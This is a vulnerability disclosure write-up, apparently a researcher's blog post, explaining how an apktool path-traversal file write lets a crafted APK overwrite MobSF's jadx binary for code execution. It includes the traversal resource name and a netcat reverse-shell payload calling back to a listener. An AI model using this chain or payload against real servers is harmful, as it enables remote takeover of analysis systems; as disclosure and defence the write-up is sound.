I have found an arbitrary file write in apktool and reported via github security advisory.
I was aware that many projects were relied upon or dependent to apktool but after the publish of advisory and fix not many seem to be noticed or cared about it.
I decided to check its impact and exploitability in some of the big dependants, I have then started with MobSF.
The vulnerability allows us to write anything at a relative path to “${decode target path}/res/”, the biggest impact would be getting an RCE. But there is a catch, written file is not an executable.
I had these 2 ideas in my mind before diving in:
But what if we’re just lucky enough to have an app that changes permissions of a file to executable? And even more lucky to have it run afterwards? And it all needs to happen after execution of apktool.
That’s the exact situation with the MobSF. MobSF uses jadx as a part of its static analysis, it calls jadx via subprocess, but right before that it changes the permission of jadx to executable.
Log excerpt where apktool, chmod and jadx are respectively called:
[INFO] 07/Jan/2024 20:44:16 - Getting AndroidManifest.xml from APK
[INFO] 07/Jan/2024 20:44:16 - Converting AXML to XML
[INFO] 07/Jan/2024 20:44:16 - executed command: /jdk-20.0.2/bin/java -jar -Djdk.util.zip.disableZip64ExtraFieldValidation=true /home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/apktool_2.9.1.jar --match-original --frame-path /tmp -f -s d /home/mobsf/.MobSF/uploads/6cae29cb89b3aac3890c1d4d21fcc756/6cae29cb89b3aac3890c1d4d21fcc756.apk -o /home/mobsf/.MobSF/uploads/6cae29cb89b3aac3890c1d4d21fcc756/apktool_out
.
.
.
[INFO] 07/Jan/2024 20:44:20 - Decompiling to Java with jadx
[INFO] 07/Jan/2024 20:44:20 - executed command: chmod +x /home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx
[INFO] 07/Jan/2024 20:44:20 - executed command: /home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx -ds /home/mobsf/.MobSF/uploads/6cae29cb89b3aac3890c1d4d21fcc756/java_source/ -q -r --show-bad-code /home/mobsf/.MobSF/uploads/6cae29cb89b3aac3890c1d4d21fcc756/6cae29cb89b3aac3890c1d4d21fcc756.apk
We will use jadx as a target, but we need to have relative path of jadx to res folder. We can get that by using os.path.relpath() in python function.
Our resource base folder is “/home/mobsf/.MobSF/uploads/680b420ade61b64ce7c024a2ed6bc94d/apktool_out/”
We want to overwrite jadx binary at path: “/home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx”
import os
jadx_path = "/home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx"
res_base_path = "/home/mobsf/.MobSF/uploads/680b420ade61b64ce7c024a2ed6bc94d/apktool_out/res"
os.path.relpath(jadx_path, res_base_path)
>>> '../../../../Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx'
Our payload will be in res/raw/jadx
#!/bin/bash
nc host.docker.internal 9001 -e sh
Resource name will be “../../../../Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx”
Upload the apk and wait for the jadx to be executed, we’ll get a shell on our nc listener.
Bingo!
I then have reported this to MobSF team via email, got a prompt reply and they have fixed it by updating to newer apktool version, but behavior of making jadx executable and running it afterwards is still there.
I would rather have set permission fixed in advance and kept the directory non-writable.
An innovative tool designed to revolutionize the testing, evaluation, and security of LLM applications. This…
A sophisticated tool designed for exploiting vulnerabilities in Android devices. This article dives into the…
SeamlessPass is a tool designed to obtain Microsoft 365 access tokens using on-premises Active Directory…
Comprehensive guide to the tools and resources pivotal in the world of forensic analysis. From…
An advanced Nmap script designed to detect potential vulnerabilities in network services. This article delves…
A powerful tool designed to tunnel TCP connections through a file. Ideal for circumventing firewalls…